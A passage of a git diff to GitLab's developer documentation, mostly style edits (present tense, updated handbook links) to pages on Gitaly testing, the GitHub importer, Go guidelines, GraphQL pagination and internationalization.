`GITALY_SERVER_VERSION`. The `GITALY_SERVER_VERSION` file supports also
branches and SHA to use a custom commit in <https://gitlab.com/gitlab-org/gitaly>.
-NOTE: **Note:**
+NOTE:
With the introduction of auto-deploy for Gitaly, the format of
`GITALY_SERVER_VERSION` was aligned with Omnibus syntax.
-It no longer supports `=revision`, it will evaluate the file content as a Git
-reference (branch or SHA), only if it matches a semver it will prepend a `v`.
+It no longer supports `=revision`, it evaluates the file content as a Git
+reference (branch or SHA). Only if it matches a semver does it prepend a `v`.
If you want to run tests locally against a modified version of Gitaly you
can replace `tmp/tests/gitaly` with a symlink. This is much faster
-because if will avoid a Gitaly re-install each time you run `rspec`.
+because it avoids a Gitaly re-install each time you run `rspec`.
+
+Make sure this directory contains the files `config.toml` and `praefect.config.toml`.
+You can copy them from `config.toml.example` and `config.praefect.toml.example` respectively.
+After copying, make sure to edit them so everything points to the correct paths.
```shell
rm -rf tmp/tests/gitaly
@@ -197,12 +201,12 @@ ln -s /path/to/gitaly tmp/tests/gitaly
```
Make sure you run `make` in your local Gitaly directory before running
-tests. Otherwise, Gitaly will fail to boot.
+tests. Otherwise, Gitaly fails to boot.
If you make changes to your local Gitaly in between test runs you need
to manually run `make` again.
-Note that CI tests will not use your locally modified version of
+Note that CI tests do not use your locally modified version of
Gitaly. To use a custom Gitaly version in CI you need to update
GITALY_SERVER_VERSION as described at the beginning of this paragraph.
@@ -312,7 +316,7 @@ Here are the steps to gate a new feature in Gitaly behind a feature flag.
1. Test in a Rails console by setting the feature flag:
- NOTE: **Note:**
+ NOTE:
Pay attention to the name of the flag and the one used in the Rails console.
There is a difference between them (dashes replaced by underscores and name
prefix is changed). Make sure to prefix all flags with `gitaly_`.
@@ -341,7 +345,7 @@ the integration by using GDK:
1. Check that the list of current metrics has the new counter for the feature flag:
```shell
- curl --silent http://localhost:9236/metrics | grep go_find_all_tags
+ curl --silent "http://localhost:9236/metrics" | grep go_find_all_tags
```
1. Once you observe the metrics for the new feature flag and it increments, you
@@ -371,5 +375,5 @@ the integration by using GDK:
1. Verify the feature is on by observing the metrics for it:
```shell
- curl --silent http://localhost:9236/metrics | grep go_find_all_tags
+ curl --silent "http://localhost:9236/metrics" | grep go_find_all_tags
```
diff --git a/doc/development/github_importer.md b/doc/development/github_importer.md
index 9fa55d2662a..cc289496301 100644
--- a/doc/development/github_importer.md
+++ b/doc/development/github_importer.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Working with the GitHub importer
@@ -50,28 +50,28 @@ called `Gitlab::GithubImport::AdvanceStageWorker`.
### 1. RepositoryImportWorker
-This worker will kick off the import process by simply scheduling a job for the
+This worker starts the import process by scheduling a job for the
next worker.
### 2. Stage::ImportRepositoryWorker
-This worker will import the repository and wiki, scheduling the next stage when
+This worker imports the repository and wiki, scheduling the next stage when
done.
### 3. Stage::ImportBaseDataWorker
-This worker will import base data such as labels, milestones, and releases. This
-work is done in a single thread since it can be performed fast enough that we
+This worker imports base data such as labels, milestones, and releases. This
+work is done in a single thread because it can be performed fast enough that we
don't need to perform this work in parallel.
### 4. Stage::ImportPullRequestsWorker
-This worker will import all pull requests. For every pull request a job for the
+This worker imports all pull requests. For every pull request a job for the
`Gitlab::GithubImport::ImportPullRequestWorker` worker is scheduled.
### 5. Stage::ImportIssuesAndDiffNotesWorker
-This worker will import all issues and pull request comments. For every issue, we
+This worker imports all issues and pull request comments. For every issue, we
schedule a job for the `Gitlab::GithubImport::ImportIssueWorker` worker. For
pull request comments, we instead schedule jobs for the
`Gitlab::GithubImport::DiffNoteImporter` worker.
@@ -91,14 +91,14 @@ This worker imports regular comments for both issues and pull requests. For
every comment, we schedule a job for the
`Gitlab::GithubImport::ImportNoteWorker` worker.
-Regular comments have to be imported at the end since the GitHub API used
+Regular comments have to be imported at the end because the GitHub API used
returns comments for both issues and pull requests. This means we have to wait
for all issues and pull requests to be imported before we can import regular
comments.
### 7. Stage::FinishImportWorker
-This worker will wrap up the import process by performing some housekeeping
+This worker completes the import process by performing some housekeeping
(such as flushing any caches) and by marking the import as completed.
## Advancing stages
@@ -113,22 +113,22 @@ The first approach should only be used by workers that perform all their work in
a single thread, while `AdvanceStageWorker` should be used for everything else.
The way `AdvanceStageWorker` works is fairly simple. When scheduling a job it
-will be given a project ID, a list of Redis keys, and the name of the next
+is given a project ID, a list of Redis keys, and the name of the next
stage. The Redis keys (produced by `Gitlab::JobWaiter`) are used to check if the
currently running stage has been completed or not. If the stage has not yet been
-completed `AdvanceStageWorker` will reschedule itself. Once a stage finishes
-`AdvanceStageworker` will refresh the import JID (more on this below) and
+completed `AdvanceStageWorker` reschedules itself. After a stage finishes
+`AdvanceStageworker` refreshes the import JID (more on this below) and
schedule the worker of the next stage.
-To reduce the number of `AdvanceStageWorker` jobs scheduled this worker will
-briefly wait for jobs to complete before deciding what the next action should
-be. For small projects, this may slow down the import process a bit, but it will
-also reduce pressure on the system as a whole.
+To reduce the number of `AdvanceStageWorker` jobs scheduled this worker
+briefly waits for jobs to complete before deciding what the next action should
+be. For small projects, this may slow down the import process a bit, but it
+also reduces pressure on the system as a whole.
## Refreshing import JIDs
GitLab includes a worker called `Gitlab::Import::StuckProjectImportJobsWorker`
-that will periodically run and mark project imports as failed if they have been
+that periodically runs and marks project imports as failed if they have been
running for more than 15 hours. For GitHub projects, this poses a bit of a
problem: importing large projects could take several hours depending on how
often we hit the GitHub rate limit (more on this below), but we don't want
@@ -151,7 +151,7 @@ because we need the Email address of users in order to map them to GitLab users.
We handle this by doing the following:
-1. Once we hit the rate limit all jobs will automatically reschedule themselves
+1. After we hit the rate limit all jobs automatically reschedule themselves
in such a way that they are not executed until the rate limit has been reset.
1. We cache the mapping of GitHub users to GitLab users in Redis.
@@ -164,7 +164,7 @@ perform:
1. One API call to get the user's Email address.
1. Two database queries to see if a corresponding GitLab user exists. One query
- will try to find the user based on the GitHub user ID, while the second query
+ tries to find the user based on the GitHub user ID, while the second query
is used to find the user using their GitHub Email address.
Because this process is quite expensive we cache the result of these lookups in
@@ -186,11 +186,11 @@ positive lookup, we refresh the TTL automatically. The TTL of false lookups is
never refreshed.
Because of this caching layer, it's possible newly registered GitLab accounts
-won't be linked to their corresponding GitHub accounts. This, however, will sort
-itself out once the cached keys expire.
+aren't linked to their corresponding GitHub accounts. This, however, is resolved
+after the cached keys expire.
-The user cache lookup is shared across projects. This means that the more
-projects get imported the fewer GitHub API calls will be needed.
+The user cache lookup is shared across projects. This means that the greater the number of
+projects that are imported, fewer GitHub API calls are needed.
The code for this resides in:
diff --git a/doc/development/go_guide/dependencies.md b/doc/development/go_guide/dependencies.md
index 461ee394533..72b3f82d86f 100644
--- a/doc/development/go_guide/dependencies.md
+++ b/doc/development/go_guide/dependencies.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependency Management in Go
@@ -89,28 +89,28 @@ Go 1.12 introduced checksum databases and module proxies.
### Checksums
-In addition to `go.mod`, a module will have a `go.sum` file. This file records a
+In addition to `go.mod`, a module has a `go.sum` file. This file records a
SHA-256 checksum of the code and the `go.mod` file of every version of every
dependency that is referenced by the module or one of the module's dependencies.
Go continually updates `go.sum` as new dependencies are referenced.
When Go fetches the dependencies of a module, if those dependencies already have
-an entry in `go.sum`, Go will verify the checksum of these dependencies. If the
-checksum does not match what is in `go.sum`, the build will fail. This ensures
+an entry in `go.sum`, Go verifies the checksum of these dependencies. If the
+checksum does not match what is in `go.sum`, the build fails. This ensures
that a given version of a module cannot be changed by its developers or by a
malicious party without causing build failures.
Go 1.12+ can be configured to use a checksum database. If configured to do so,
when Go fetches a dependency and there is no corresponding entry in `go.sum`, Go
-will query the configured checksum database(s) for the checksum of the
+queries the configured checksum database(s) for the checksum of the
dependency instead of calculating it from the downloaded dependency. If the
-dependency cannot be found in the checksum database, the build will fail. If the
+dependency cannot be found in the checksum database, the build fails. If the
downloaded dependency's checksum does not match the result from the checksum
-database, the build will fail. The following environment variables control this:
+database, the build fails. The following environment variables control this:
- `GOSUMDB` identifies the name, and optionally the public key and server URL,
of the checksum database to query.
- - A value of `off` will entirely disable checksum database queries.
+ - A value of `off` entirely disables checksum database queries.
- Go 1.13+ uses `sum.golang.org` if `GOSUMDB` is not defined.
- `GONOSUMDB` is a comma-separated list of module suffixes that checksum
database queries should be disabled for. Wildcards are supported.
@@ -125,8 +125,8 @@ attempts to fetch the dependency from the configured proxies, in order. The
following environment variables control this:
- `GOPROXY` is a comma-separated list of module proxies to query.
- - A value of `direct` will entirely disable module proxy queries.
- - If the last entry in the list is `direct`, Go will fall back to the process
+ - A value of `direct` entirely disables module proxy queries.
+ - If the last entry in the list is `direct`, Go falls back to the process
described [above](#fetching-packages) if none of the proxies can provide the
dependency.
- Go 1.13+ uses `proxy.golang.org,direct` if `GOPROXY` is not defined.
@@ -159,7 +159,7 @@ From Go 1.12 onward, the process for fetching a module or package is as follows:
The downloaded source must contain a `go.mod` file. The `go.mod` file must
contain a `module` directive that specifies the name of the module. If the
module name as specified by `go.mod` does not match the name that was used to
-fetch the module, the module will fail to compile.
+fetch the module, the module fails to compile.
If the module is being fetched directly and no version was specified, or if the
module is being added as a dependency and no version was specified, Go uses the
@@ -172,9 +172,9 @@ latest that is also a valid semantic version.
In versions prior to Go 1.13, support for authenticating requests made by Go was
somewhat inconsistent. Go 1.13 improved support for `.netrc` authentication. If
-a request is made over HTTPS and a matching `.netrc` entry can be found, Go will
-add HTTP Basic authentication credentials to the request. Go will not
-authenticate requests made over HTTP. Go will reject HTTP-only entries in
+a request is made over HTTPS and a matching `.netrc` entry can be found, Go
+adds HTTP Basic authentication credentials to the request. Go does not
+authenticate requests made over HTTP. Go rejects HTTP-only entries in
`GOPROXY` that have embedded credentials.
In a future version, Go may add support for arbitrary authentication headers.
diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md
index 4077cf2a2c2..b2405f4ce2a 100644
--- a/doc/development/go_guide/index.md
+++ b/doc/development/go_guide/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Go standards and style guidelines
@@ -20,7 +20,7 @@ the two is best for the job.
This page aims to define and organize our Go guidelines, based on our various
experiences. Several projects were started with different standards and they
-can still have specifics. They will be described in their respective
+can still have specifics. They are described in their respective
`README.md` or `PROCESS.md` files.
## Dependency Management
@@ -89,7 +89,7 @@ projects:
## Code style and format
-- Avoid global variables, even in packages. By doing so you will introduce side
+- Avoid global variables, even in packages. By doing so you introduce side
effects if the package is included multiple times.
- Use `goimports` before committing.
[goimports](https://godoc.org/golang.org/x/tools/cmd/goimports)
@@ -97,7 +97,7 @@ projects:
[Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines,
adding missing ones and removing unreferenced ones.
- Most editors/IDEs will allow you to run commands before/after saving a file, you can set it
+ Most editors/IDEs allow you to run commands before/after saving a file, you can set it
up to run `goimports` so that it's applied to every file when saving.
- Place private methods below the first caller method in the source file.
@@ -128,9 +128,11 @@ configuration of `golangci-lint`. All options for `golangci-lint` are listed in
this [example](https://github.com/golangci/golangci-lint/blob/master/.golangci.example.yml).
Once [recursive includes](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836)
-become available, you will be able to share job templates like this
+become available, you can share job templates like this
[analyzer](https://gitlab.com/gitlab-org/security-products/ci-templates/raw/master/includes-dev/analyzer.yml).
+Go GitLab linter plugins are maintained in the [`gitlab-org/language-tools/go/linters`](https://gitlab.com/gitlab-org/language-tools/go/linters/) namespace.
+
## Dependencies
Dependencies should be kept to the minimum. The introduction of a new
@@ -150,7 +152,7 @@ define and lock dependencies for reproducible builds. It should be used
whenever possible.
When Go Modules are in use, there should not be a `vendor/` directory. Instead,
-Go will automatically download dependencies when they are needed to build the
+Go automatically downloads dependencies when they are needed to build the
project. This is in line with how dependencies are handled with Bundler in Ruby
projects, and makes merge requests easier to review.
@@ -177,7 +179,7 @@ databases.
In the rare event of managing a hosted database, it's necessary to use a
migration system like ActiveRecord is providing. A simple library like
[Journey](https://github.com/db-journey/journey), designed to be used in
-`postgres` containers, can be deployed as long-running pods. New versions will
+`postgres` containers, can be deployed as long-running pods. New versions
deploy a new pod, migrating the data automatically.
## Testing
@@ -255,7 +257,7 @@ to make the test output easily readable.
to use for naming subtests. In the Go standard library, this is commonly the
`name string` field.
- Use `want`/`expect`/`actual` when you are specifying something in the
- test case that will be used for assertion.
+ test case that is used for assertion.
#### Variable names
@@ -414,13 +416,13 @@ builds](https://docs.docker.com/develop/develop-images/multistage-build/):
Generated Docker images should have the program at their `Entrypoint` to create
portable commands. That way, anyone can run the image, and without parameters
-it will display its help message (if `cli` has been used).
+it displays its help message (if `cli` has been used).
## Distributing Go binaries
With the exception of [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner),
which publishes its own binaries, our Go binaries are created by projects
-managed by the [Distribution group](https://about.gitlab.com/handbook/product/product-categories/#distribution-group).
+managed by the [Distribution group](https://about.gitlab.com/handbook/product/categories/#distribution-group).
The [Omnibus GitLab](https://gitlab.com/gitlab-org/omnibus-gitlab) project creates a
single, monolithic operating system package containing all the binaries, while
@@ -476,7 +478,7 @@ Example:
In case we want to drop support for `go 1.11` in GitLab `12.10`, we need to verify which Go versions we are using in `12.9`, `12.8`, and `12.7`.
-We will not consider the active milestone, `12.10`, because a backport for `12.7` will be required in case of a critical security release.
+We do not consider the active milestone, `12.10`, because a backport for `12.7` is required in case of a critical security release.
1. If both [Omnibus and CNG](#updating-go-version) were using Go `1.12` in GitLab `12.7` and later, then we safely drop support for `1.11`.
1. If Omnibus or CNG were using `1.11` in GitLab `12.7`, then we still need to keep support for Go `1.11` for easier backporting of security fixes.
@@ -492,11 +494,11 @@ Use `goimports -local gitlab.com/gitlab-org` before committing.
is a tool that automatically formats Go source code using
[Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines,
adding missing ones and removing unreferenced ones.
-By using the `-local gitlab.com/gitlab-org` option, `goimports` will group locally referenced
+By using the `-local gitlab.com/gitlab-org` option, `goimports` groups locally referenced
packages separately from external ones. See
[the imports section](https://github.com/golang/go/wiki/CodeReviewComments#imports)
of the Code Review Comments page on the Go wiki for more details.
-Most editors/IDEs will allow you to run commands before/after saving a file, you can set it
+Most editors/IDEs allow you to run commands before/after saving a file, you can set it
up to run `goimports -local gitlab.com/gitlab-org` so that it's applied to every file when saving.
---
diff --git a/doc/development/gotchas.md b/doc/development/gotchas.md
index 691027f385f..2b34aedddf6 100644
--- a/doc/development/gotchas.md
+++ b/doc/development/gotchas.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Gotchas
@@ -14,7 +14,7 @@ might encounter or should avoid during development of GitLab CE and EE.
In GitLab 10.8 and later, Omnibus has [dropped the `app/assets` directory](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2456),
after asset compilation. The `ee/app/assets`, `vendor/assets` directories are dropped as well.
-This means that reading files from that directory will fail in Omnibus-installed GitLab instances:
+This means that reading files from that directory fails in Omnibus-installed GitLab instances:
```ruby
file = Rails.root.join('app/assets/images/logo.svg')
@@ -243,8 +243,8 @@ end
In this case, if for any reason the top level `ApplicationController`
is loaded but `Projects::ApplicationController` is not, `ApplicationController`
-would be resolved to `::ApplicationController` and then the `project` method will
-be undefined and we will get an error.
+would be resolved to `::ApplicationController` and then the `project` method is
+undefined, causing an error.
#### Solution
@@ -264,8 +264,8 @@ end
By specifying `Projects::`, we tell Rails exactly what class we are referring
to and we would avoid the issue.
-NOTE: **Note:**
-This problem will disappear as soon as we upgrade to Rails 6 and use the Zeitwerk autoloader.
+NOTE:
+This problem disappears as soon as we upgrade to Rails 6 and use the Zeitwerk autoloader.
### Further reading
@@ -292,7 +292,7 @@ While the code above works in local environments, it errors out in production in
### Solution
-The alternative is the `lib/assets` folder. Use it if you need to add assets (like images) to the repo that meet the following conditions:
+The alternative is the `lib/assets` folder. Use it if you need to add assets (like images) to the repository that meet the following conditions:
- The assets do not need to be directly served to the user (and hence need not be pre-compiled).
- The assets do need to be accessed via application code.
diff --git a/doc/development/graphql_guide/batchloader.md b/doc/development/graphql_guide/batchloader.md
index 6d529358499..e965e678aba 100644
--- a/doc/development/graphql_guide/batchloader.md
+++ b/doc/development/graphql_guide/batchloader.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GraphQL BatchLoader
diff --git a/doc/development/graphql_guide/index.md b/doc/development/graphql_guide/index.md
index 12b4f9796c7..658bba96f33 100644
--- a/doc/development/graphql_guide/index.md
+++ b/doc/development/graphql_guide/index.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GraphQL development guidelines
-This guide contains all the information to successfully contribute to GitLab's
+This guide contains all the information to successfully contribute to the GitLab
GraphQL API. This is a living document, and we welcome contributions,
feedback, and suggestions.
diff --git a/doc/development/graphql_guide/pagination.md b/doc/development/graphql_guide/pagination.md
index d5140363396..130ed5721f3 100644
--- a/doc/development/graphql_guide/pagination.md
+++ b/doc/development/graphql_guide/pagination.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GraphQL pagination
@@ -86,6 +86,20 @@ However, there are some cases where we have to use the offset
pagination connection, `OffsetActiveRecordRelationConnection`, such as when
sorting by label priority in issues, due to the complexity of the sort.
+If you return a relation from a resolver that is not suitable for keyset
+pagination (due to the sort order for example), then you can use the
+`BaseResolver#offset_pagination` method to wrap the relation in the correct
+connection type. For example:
+
+```ruby
+def resolve(**args)
+ result = Finder.new(object, current_user, args).execute
+ result = offset_pagination(result) if needs_offset?(args[:sort])
+
+ result
+end
+```
+
### Keyset pagination
The keyset pagination implementation is a subclass of `GraphQL::Pagination::ActiveRecordRelationConnection`,
@@ -225,7 +239,7 @@ instead of an `ActiveRecord::Relation`:
if non_stable_cursor_sort?(args[:sort])
# Certain complex sorts are not supported by the stable cursor pagination yet.
# In these cases, we use offset pagination, so we return the correct connection.
- Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection.new(issues)
+ offset_pagination(issues)
else
issues
end
@@ -280,28 +294,30 @@ The shared example requires certain `let` variables and methods to be set up:
```ruby
describe 'sorting and pagination' do
- let(:sort_project) { create(:project, :public) }
+ let_it_be(:sort_project) { create(:project, :public) }
let(:data_path) { [:project, :issues] }
- def pagination_query(params, page_info)
- graphql_query_for(
- 'project',
- { 'fullPath' => sort_project.full_path },
- query_graphql_field('issues', params, "#{page_info} edges { node { id } }")
+ def pagination_query(params)
+ graphql_query_for( :project, { full_path: sort_project.full_path },
+ query_nodes(:issues, :id, include_pagination_info: true, args: params))
)
end
- def pagination_results_data(data)
- data.map { |issue| issue.dig('node', 'iid').to_i }
+ def pagination_results_data(nodes)
+ nodes.map { |issue| issue['iid'].to_i }
end
context 'when sorting by weight' do
- ...
+ let_it_be(:issues) { make_some_issues_with_weights }
+
context 'when ascending' do
+ let(:ordered_issues) { issues.sort_by(&:weight) }
+
it_behaves_like 'sorted paginated query' do
- let(:sort_param) { 'WEIGHT_ASC' }
+ let(:sort_param) { :WEIGHT_ASC }
let(:first_param) { 2 }
- let(:expected_results) { [weight_issue3.iid, weight_issue5.iid, weight_issue1.iid, weight_issue4.iid, weight_issue2.iid] }
+ let(:expected_results) { ordered_issues.map(&:iid) }
end
end
+ end
```
diff --git a/doc/development/hash_indexes.md b/doc/development/hash_indexes.md
index cc0b0b3a736..881369e429b 100644
--- a/doc/development/hash_indexes.md
+++ b/doc/development/hash_indexes.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Hash Indexes
diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md
index 65a1d83a8fc..90355e1cccb 100644
--- a/doc/development/i18n/externalization.md
+++ b/doc/development/i18n/externalization.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Internationalization for GitLab
@@ -10,10 +10,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
For working with internationalization (i18n),
[GNU gettext](https://www.gnu.org/software/gettext/) is used given it's the most
-used tool for this task and there are a lot of applications that will help us to
+used tool for this task and there are a lot of applications that help us
work with it.
-TIP: **Tip:**
+NOTE:
All `rake` commands described on this page must be run on a GitLab instance, usually GDK.
## Setting up GitLab Development Kit (GDK)
@@ -376,7 +376,7 @@ Namespaces should be PascalCase.
s_('OpenedNDaysAgo|Opened')
```
- In case the translation is not found it will return `Opened`.
+ In case the translation is not found it returns `Opened`.
- In JavaScript:
@@ -417,12 +417,12 @@ To include formatting in the translated string, we can do the following:
See the section on [interpolation](#interpolation).
-When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935) is complete, we'll update the
+When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935) is complete, we plan to update the
process of including formatting in translated strings.
#### Including Angle Brackets
-If a string contains angles brackets (`<`/`>`) that are not used for HTML, it will still be flagged by the
+If a string contains angles brackets (`<`/`>`) that are not used for HTML, it is still flagged by the
`rake gettext:lint` linter.
To avoid this error, use the applicable HTML entity code (`&lt;` or `&gt;`) instead:
@@ -473,7 +473,7 @@ This makes use of [`Intl.DateTimeFormat`](https://developer.mozilla.org/en-US/do
1. **Through the `l` helper**, i.e. `l(active_session.created_at, format: :short)`. We have some predefined formats for
[dates](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L54) and [times](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L262).
If you need to add a new format, because other parts of the code could benefit from it,
- you'll need to add it to [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) file.
+ you can add it to [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) file.
1. **Through `strftime`**, i.e. `milestone.start_date.strftime('%b %-d')`. We use `strftime` in case none of the formats
defined on [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) matches the date/time
specifications we need, and if there is no need to add it as a new format because is very particular (i.e. it's only used in a single view).
@@ -504,7 +504,7 @@ Examples:
- Mappings for a dropdown list
- Error messages
-To store these kinds of data, using a constant seems like the best choice, however this won't work for translations.
+To store these kinds of data, using a constant seems like the best choice, however this doesn't work for translations.
Bad, avoid it:
@@ -518,7 +518,7 @@ class MyPresenter
end
```
-The translation method (`_`) will be called when the class is loaded for the first time and translates the text to the default locale. Regardless of what's the user's locale, these values will not be translated again.
+The translation method (`_`) is called when the class is loaded for the first time and translates the text to the default locale. Regardless of the user's locale, these values are not translated a second time.
Similar thing happens when using class methods with memoization.
@@ -536,7 +536,7 @@ class MyModel
end
```
-This method will memoize the translations using the locale of the user, who first "called" this method.
+This method memorizes the translations using the locale of the user, who first "called" this method.
To avoid these problems, keep the translations dynamic.
@@ -700,9 +700,9 @@ Now that the new content is marked for translation, we need to update
bin/rake gettext:regenerate
```
-This command will update `locale/gitlab.pot` file with the newly externalized
+This command updates `locale/gitlab.pot` file with the newly externalized
strings and remove any strings that aren't used anymore. You should check this
-file in. Once the changes are on master, they will be picked up by
+file in. Once the changes are on master, they are picked up by
[CrowdIn](https://translate.gitlab.com) and be presented for
translation.
@@ -719,7 +719,7 @@ running on CI as part of the `static-analysis` job.
To lint the adjustments in PO files locally you can run `rake gettext:lint`.
-The linter will take the following into account:
+The linter takes the following into account:
- Valid PO-file syntax
- Variable usage
@@ -756,9 +756,9 @@ aren't in the message with ID `1 pipeline`.
## Adding a new language
-NOTE: **Note:**
+NOTE:
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221012) in GitLab 13.3:
-Languages with less than 2% of translations won't be available in the UI.
+Languages with less than 2% of translations are not available in the UI.
Let's suppose you want to add translations for a new language, let's say French.
diff --git a/doc/development/i18n/index.md b/doc/development/i18n/index.md
index 13f2b43b788..b0e34052d2a 100644
--- a/doc/development/i18n/index.md
+++ b/doc/development/i18n/index.md
@@ -1,21 +1,21 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Translate GitLab to your language
-The text in GitLab's user interface is in American English by default.
+The text in the GitLab user interface is in American English by default.
Each string can be translated to other languages.
As each string is translated, it is added to the languages translation file,
-and will be available in future releases of GitLab.
+and is made available in future releases of GitLab.
Contributions to translations are always needed.
Many strings are not yet available for translation because they have not been externalized.
Helping externalize strings benefits all languages.
Some translations are incomplete or inconsistent.
-Translating strings will help complete and improve each language.
+Translating strings helps complete and improve each language.
## How to contribute
@@ -37,7 +37,7 @@ See [Externalization for GitLab](externalization.md).
The translation process is managed at <https://translate.gitlab.com>
using [CrowdIn](https://crowdin.com/).
-You will need to create an account before you can submit translations.
+You need to create an account before you can submit translations.
Once you are signed in, select the language you wish to contribute translations to.
Voting for translations is also valuable, helping to confirm good and flag inaccurate translations.
@@ -48,7 +48,7 @@ See [Translation guidelines](translation.md).
Proofreading helps ensure the accuracy and consistency of translations. All
translations are proofread before being accepted. If a translations requires
-changes, you will be notified with a comment explaining why.
+changes, you are notified with a comment explaining why.
See [Proofreading Translations](proofreader.md) for more information on who's
able to proofread and instructions on becoming a proofreader yourself.
diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md
index c4a709f84d3..582c1428bdd 100644
--- a/doc/development/i18n/merging_translations.md
+++ b/doc/development/i18n/merging_translations.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Merging translations from CrowdIn
@@ -27,8 +27,8 @@ If there are validation errors, the easiest solution is to disapprove
the offending string in CrowdIn, leaving a comment with what is
required to fix the offense. There is an
[issue](https://gitlab.com/gitlab-org/gitlab/-/issues/23256)
-suggesting to automate this process. Disapproving will exclude the
-invalid translation, the merge request will be updated within a few
+suggesting to automate this process. Disapproving excludes the
+invalid translation, the merge request is then updated within a few
minutes.
If the translation has failed validation due to angle brackets `<` or `>`
@@ -52,7 +52,7 @@ We are discussing [automating this entire process](https://gitlab.com/gitlab-org
## Recreate the merge request
CrowdIn creates a new merge request as soon as the old one is closed
-or merged. But it won't recreate the `master-i18n` branch every
+or merged. But it does not recreate the `master-i18n` branch every
time. To force CrowdIn to recreate the branch, close any [open merge
request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&utf8=%E2%9C%93&state=opened&author_username=gitlab-crowdin-bot)
and delete the
@@ -63,7 +63,7 @@ have been fixed on master.
## Recreate the GitLab integration in CrowdIn
-NOTE: **Note:**
+NOTE:
These instructions work only for GitLab Team Members.
If for some reason the GitLab integration in CrowdIn does not exist, it can be
diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md
index 56a4f835b3f..a15eb4c3bc2 100644
--- a/doc/development/i18n/proofreader.md
+++ b/doc/development/i18n/proofreader.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
